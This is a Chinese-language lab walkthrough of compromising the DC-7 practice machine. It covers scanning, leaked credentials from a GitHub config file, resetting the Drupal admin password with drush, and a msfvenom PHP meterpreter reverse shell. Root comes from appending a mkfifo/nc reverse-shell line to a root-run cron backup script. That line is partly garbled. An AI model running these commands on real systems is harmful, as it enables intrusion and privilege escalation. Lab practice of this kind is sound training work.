DC-7:
1.主机发现:sudo arp-scan -l,发现靶机ip为172.20.10.13
2.扫描端口,开启了远程连接的22端口和80端口
nmap 172.20.10.13 -sV -sC -Pn -n -v -T5 -p-
3.访问80端口发现是drupal,但是下方有一个@DC7USER,百度一下发现,有github的项目:
点击查看staffdb的内容,发现有一个配置文件config.php:
查看配置文件发现了账号密码:
4.用搜索到的账号密码进行ssh登录:
5.ls查看账号内容,发现mbox里面有一个定时任务,目录为/opt/scripts/backups.sh:
6.进入目录,查看backups.sh,发现drush命令:
drush和gpg是什么东西?
其中drush是专门用来管理Drupal站点的shell,可以用来修改密码
可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功
7.进入var/www/html目录,修改密码
drush user-password admin --password="123456"
8.修改密码之后回到drupal界面,点击log in进行登录:
9.在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。可以看到Text format里面没有PHP code选项。没有php模块就没办法解析php,需要在extend中点击添加php模块:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
这里没有PHP code是因为出于安全考虑,PHP Filter已经从Drupal核心中移除,后续作为一个module存在,可以通过手动安装。选择URL并点击install
10.随后在Content中添加webshell.php,点击Content>Add content>Basic page,先将Text format修改为PHP code,再写入反弹shell
通过msfvenom生成一个反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.20.10.13 LPORT=4444 -f raw
复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Preview
点击Preview后发现会话连接关闭:
原来是没有设置payload:
set payload php/meterpreter/reverse_tcp
反弹成功,接着进入交互shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
13.我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)
echo "rm /tmp/f;mkfifo /tm -i 2>&1|nc 172.20.10.7 1234>/tmp/f" >> /opt/scripts/backups.sh
然后在kali中监听相应端口:
nc -lvnp 1234
17.等待计划任务执行后获得rootshell,再次进入交互式界面:
shell
python -c "import pty;pty.spawn('/bin/bash')"
未完待续……